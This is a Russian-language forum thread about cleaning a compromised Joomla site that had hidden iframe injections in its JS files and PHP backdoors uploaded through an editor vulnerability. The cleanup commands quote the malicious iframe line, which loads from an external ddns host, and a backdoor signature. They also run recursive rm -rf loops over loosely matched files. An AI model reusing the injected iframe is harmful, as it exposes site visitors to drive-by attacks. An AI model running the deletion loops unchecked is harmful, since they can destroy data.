Iframe вставки в JS файлы по инициативе сервера

Логично в файлах покопать.

Льют через дыру в сайте

В логах веб сервера смотрите, скорее всего там будет ответ на ваши вопросы, причем логи смотреть надо по всем vhosts которые в системе принадлежат скомпрометированному акаунту.

joomla ???

примерно такое

???

если да:

- смотрите папку/подпапки images туда скорее всего залит index.php с вирусным скриптом (около 1кБ)

- когда правите js ставьте на них 444, временно поможет

- потом смотрите остальные папки на сайте (а потом и другие сайты тоже), там где не было скорее всего тоже залит index.php

дырка /ru/forum/762978

P.S. могу помочь очистить, обращайтесь...

Да, действительно, один из сайтоиков на джумоле работал. Файл нашел. Спасибо большое.

Обновление редактора можно взять тут

В общем

1) удалил этот говно-сайт

2) удалил зараженные файлы php

find . -name "*.php" -type f | grep -rl '); exit(0); } if(isset($_REQUEST\[' . | while read FILENAME; rm -rf $FILENAME; echo "$FILENAME"; done;

3) Удалил файлы jse

#!/bin/sh
if [ -d "$1" ]
then
    runFolder=$1
else
    runFolder=$PWD
fi

function checkFile(){
    runFolderName=$1
    for endFile in `find $1 -type f -name "*js" -exec basename "{}" \; sed -r 's/(.*)\..*/\1/' | sort -u`
    do
        for delFile in `find $1 -type f \( -name "$endFile.js*" -not -name "$endFile.js" \)`
        do
            echo "FindFile: " $delFile
            $(rm -rf $delFile)
        done
    done
}

checkFile $runFolder

4) удалил все iframe вставки в js файлах

find . -name "*.js" -type f | grep -rl 'http://trxgotvs.ddns.name' . | while read FILENAME; do sed -ie 's~document.write([[:graph:]]<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http://trxgotvs.ddns.name/64da4cae75d07b0fcc017695df0981b.rew?11"></iframe>[[:graph:]]);~;~' $FILENAME; echo "$FILENAME"; done;

Всем спасибо за помощь. Хотя правда остался вопрос. С каких это перепугов появляются jse файлы...

у меня на сайтах тоже такое появляется внизу - это как я понял со стороны хостинга идет подключение и в них там проверка на наличие флеш плеера и такие технические

Проверяйте все папки. У меня на одном из сайтов не помогла чистка только папки images

Вирусные файлы были почти в каждой папке и куча файлов были изменены.

Я просто все удалил, востановил чистый бекап, и уже в нем удалил нафиг редактор JCE

Вот скрипт проверки уязвимостей и шеллов ,вирусов http://revisium.com/ai/